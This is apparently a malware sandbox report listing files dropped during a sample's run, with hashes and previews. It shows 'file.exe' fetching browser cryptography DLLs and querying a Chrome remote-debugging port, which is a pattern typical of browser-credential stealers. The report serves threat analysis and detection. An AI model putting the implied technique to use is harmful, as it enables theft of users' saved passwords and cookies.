SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYNi1zNtLkwwNhLgZ/0LKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn9tKtSmd6qE7lFoC
MD5:	4822BD4E668DC634D9AE2FFFFCA91183
SHA1:	E147EA9C169C6D9BDB6312CC2E40D7D14C025863
SHA-256:	73F962C16AEBFEA1A9A87C349F72BDB277CCB783442D431086B34686A34CA9F3
SHA-512:	8C4C1B5356D7A1A80EE1E0C6DBA8FDB5AB3A28E0F74AC73EA5B361AB34BEA68350D968145D6AA7F0499BE916E4E6864BDCCD76EF6D728EDEE939FDBDD7796C7A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8377339636361603
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxlxl9Il8ufUZ+EXIpyC2ng5yPIAd1rc:mgYKsGNFg5yPI3
MD5:	099B11193CAC983280DFAB3E2BA2B075
SHA1:	050B196201D7F94700005CEBEC8E0A220F4A0506
SHA-256:	1E93205698A5B1F3AC4B378D771345DEB745AAE5379BFCF52F546A4916F271AC
SHA-512:	CE28DA708675CFC668665A42EEEA43B40FD06760AEA16388CF37B9E52FED550D1C80DBC82F8630501A2CEFABFFD600DBC0CAD6EF921F4ADAAA07976705573AE5
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.K.B.r.J.t.4.o.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.b.v.N.I.d.k.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9989546997958216
Encrypted:	false
SSDEEP:	96:aYKoh0GKie0jacSquvTmUqG1dSIACapwy:a3ohBtaHmUTqR6y
MD5:	0488C48DA6A184EE54FAF8E0C7B924E9
SHA1:	A24A4B93198FD92C427161698AB3B9B16666721A
SHA-256:	B3F82C880C607F38174DD71AF44D820200BCB94E38735EAAEC4EF95D240FE571
SHA-512:	B53D9157B58EBC5FA2F3D9393D4B51CED88F218377FB1DC07C8BC0026C74EB1112F265E627BD5EEE724324776EA5E8AF7455F8221784E5303A205F6E2D446986
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".e.T.G.L.D.N.Y.o.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.b.v.N.I.d.k.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9009829857219422
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xKyxl9Il8ufUQ4cfM9IObUnIxwm2vhObf2Q0hIAECscd/vc:aXYKfcfixwmeObf2Q0hIxCsV
MD5:	754CA58F3BE1BACBD562C59FCC62939F
SHA1:	E09A52D4745C7CC3A30A9D7847D38EBDBA21D0BF
SHA-256:	6FB42FC357C5B7B2D9ED9CD53960D1C6DEDF684728274ED07BD26107F51EB505
SHA-512:	537950AF8568EEFE1A539B03769261A2879F844523B06FA5EAC1F8655D9B45DC195901D740CC401B69A112BDA32C4F62267D8795EC58DE6BF5D49419FB866A0A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".X.q.Y.U.P.K.d.H.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.b.v.N.I.d.k.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4638
Entropy (8bit):	5.452011548931201
Encrypted:	false
SSDEEP:	96:6NnQxQLHQxMNnQkbQ+NnQYz9QBNnQxdgEQCNnQUQzNnQxZDQINnQMwQONnQs3QRf:6NYQEMNnNQN43NgN4vN76N8Nem
MD5:	2D718EB15E58CCC4EF74621902195711
SHA1:	9409A77172D304DD915C2B9750DFCA89911BA646
SHA-256:	3F8A07DC99C4138B224305A864B9D4F98647B1B245D3163880B47528CFA9343E
SHA-512:	EB637DA0C4744E9A5B1DA9C17015FCB7A2729EABBBA5DDCF1BA84E75F4B32B88B4C40155E53F441DDBA9FF2E3EAAB852ED1B25EA8122F56790D971F81814D962
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2937D81FCD4739EAEEA07E7F775CC29E",.. "id": "2937D81FCD4739EAEEA07E7F775CC29E",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2937D81FCD4739EAEEA07E7F775CC29E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/325674C9AFD4890A89CD577F9B51A68B",.. "id": "325674C9AFD4890A89CD577F9B51A68B",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/325674C9AFD4890A89CD577F9B51A68B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.370902762364094
Encrypted:	false
SSDEEP:	48:SfNaoQzw3wVTEQzwrfNaoQIQCfNaoQJQXfNaoQ2830UrU0U8Q2h7:6NnQzyKTEQzqNnQIQqNnQJQPNnQ90Urb
MD5:	217837F270A6BF09DB105662D776118A
SHA1:	1EA654B1BDECB0103F3BDAED566A074A04EC3315
SHA-256:	18A9ABABE91E458187F83A8025D998655E0C32911340E5FB72CDB299E5944ABF
SHA-512:	D95F61FB9FC9E022D914E49DFBEE4C5B74F53BD5DC1463E5306A736220C87B018358933D04A003E53F096AFF62FF20A4C4B5722C6CFA0391B6B5B3F7934F2513
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E93158D95E0D8910FD451765F91615EB",.. "id": "E93158D95E0D8910FD451765F91615EB",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E93158D95E0D8910FD451765F91615EB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/43580E5C51A991BBB140414BA396E6F8",.. "id": "43580E5C51A991BBB140414BA396E6F8",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/43580E5C51A991BBB140414BA396E6F8"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\00c6ad9e-b232-4b70-8760-59703cb68c80.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\14582be1-e3fd-47b9-8aed-900047a42966.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\18b9426b-69cc-4e22-9232-a014fcb08282.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\54d7eb77-beab-42ef-b4c1-41fdc42590d5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\6db7d1ec-7020-45dc-9a94-33eb0c5d9869.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1539098
Entropy (8bit):	7.992458581267751
Encrypted:	true
